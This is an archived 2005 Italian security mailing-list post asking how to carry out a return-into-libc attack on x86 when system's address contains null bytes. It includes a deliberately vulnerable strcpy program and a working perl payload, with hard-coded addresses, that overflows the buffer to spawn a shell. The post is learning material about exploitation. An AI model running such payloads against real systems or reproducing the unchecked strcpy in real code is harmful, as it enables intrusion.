[ Home | Liste | F.A.Q. | Risorse | Cerca... ]


[ Data: precedente | successivo | indice ] [ Argomento: precedente | successivo | indice ]


Archivio: Settembre 2005 ml@sikurezza.org
Soggetto: [ml] return into libc
Mittente: rbtqwt
Data: Thu,  8 Sep 2005 01:56:22 +0200 (CEST)
Salve a tutti,

Cercando delle tecniche per l'exploiting di applicazioni con stack non eseguibile, ho trovato la "return into libc", ma ho un problema nella sua applicazione (su architettura x86).
Ho letto, (considerando i casi pià semplici), che l'EIP va fatto puntare alla funzione system della libc con un buffer simile al seguente:
[ PADDING ][ system addr ][ exit addr ][ arg1 ][ arg2 ][ ... ]


Nel mio caso:
paddind: 28 bytes.
system: 0xb7eda5f0;
exit: 0xb7ecf6e0
arg1: 0xbffffe22 (indirizzo variabile d'ambiente SHELL=/bin/sh)
Quindi utilizzando ./vuln1 `perl -e 'print "A"x28 . "\xf0\xa5\xed\xb7\xe0\xf6\xec\xb7\x24\xfe\xff\xbf"'` ottengo la shell.


Il problema sorge quando l'indirizzo della funzione system contiene dei byte 0x00 (ex. system: 0x00731233): in questo caso la strcpy smette di copiare il buffer, trovando il terminatore di stringa 0x00.
Come à possibile utilizzare questa tecnica anche nel caso sopra citato?
Quali altre tecniche vi sone per le applicazioni con stack non eseguibile?


// vuln1.c
main(int argc , char *argv[]) {
	char buff[5];
	strcpy(buff,argv[1]);
	return 0;
}

Grazie, rbt




[ Home | Liste | F.A.Q. | Risorse | Cerca... ]

www.sikurezza.org - Italian Security Mailing List
(c) 1999-2005